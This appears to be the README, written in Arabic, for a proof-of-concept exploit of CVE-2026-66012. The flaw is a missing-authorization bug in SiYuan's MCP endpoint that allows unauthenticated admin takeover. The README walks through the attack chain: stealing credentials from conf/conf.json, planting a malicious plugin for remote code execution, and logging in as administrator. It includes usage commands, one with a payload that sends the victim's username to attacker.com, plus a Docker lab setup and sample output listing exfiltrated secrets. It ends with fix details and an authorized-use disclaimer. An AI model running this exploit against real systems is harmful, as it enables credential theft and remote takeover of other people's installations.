
استغلال ثغرة CVE-2026-66012 للاستيلاء على حساب المدير دون مصادقة، باستخدام MCP لاستغلال غياب التفويض لتسريب بيانات الاعتماد وتحقيق تنفيذ تعليمات برمجية عن بُعد.
إثبات المفهوم (PoC) للثغرة CVE-2026-66012 (درجة خطورة CVSS 10.0 — حرجة)، وهي ثغرة نقص التفويض (Missing Authorization) في نقطة نهاية MCP (Model Context Protocol) الخاصة بـ SiYuan، والتي تسمح لمهاجم غير مصادَق بالاستيلاء الكامل على صلاحيات المدير وتنفيذ أوامر برمجية عن بُعد عند تفعيل خادم Publish في الوضع المجهول.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-66012 |
| CVSS 3.1 | 10.0 حرجة |
| CWE | CWE-862 — نقص التفويض |
| الإصدارات المتأثرة | SiYuan < v3.7.2 |
| تم الإصلاح في | v3.7.2 (commit df51c2bda696) |
| المُبلِّغ | Nguyen Van Hiep (@hypnguyen1209)، MBBank |
تتضافر ثلاثة عيوب لتشكيل سلسلة الهجوم:
POST /mcp مع model.CheckAuth فقط — دون CheckAdminRole أو CheckReadonly. وأي رمز JWT صالح (بما في ذلك الرموز المقيّدة بصلاحية Reader) يمكنه استدعاء جميع أدوات MCP البالغ عددها 31 أداة.handler.go) يستدعي الأدوات دون فحص دور المتصل.RoleReader في كل طلب عندما تكون Publish.Auth.Enable=false، محوّلًا عيب نقص التفويض إلى ثغرة دون مصادقة.POST /mcp على منفذ Publish (بدون بيانات اعتماد)conf/conf.json ← استخراج accessAuthCode وapi.token وcookieKeydata/plugins/pwn/ ← تنفيذ أوامر عن بُعد عند الإقلاع التالي لسطح المكتب عبر nodeIntegration:trueaccessAuthCode المسروقrequests (pip install requests)# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808
# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"
# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin
للاستخدام في الاختبارات المصرّح بها فقط. قم بإعداد نسخة محلية قابلة للاستغلال:
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================
[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n
[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
Payload executes on next desktop launch
[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
Token: lqfhx...
=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
قم بالترقية إلى SiYuan v3.7.2 أو أحدث. يطبّق الإصلاح (commit df51c2bda696) ما يلي:
CheckAdminRole + CheckReadonly على مسار /mcpconf/conf.json في أداة الملفاتهذا الإثبات (PoC) مخصّص لاختبارات الأمان المصرّح بها ولأغراض تعليمية فقط. الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يُعد غير قانوني. لا يتحمّل المؤلفون أي مسؤولية عن أي إساءة استخدام لهذا الكود.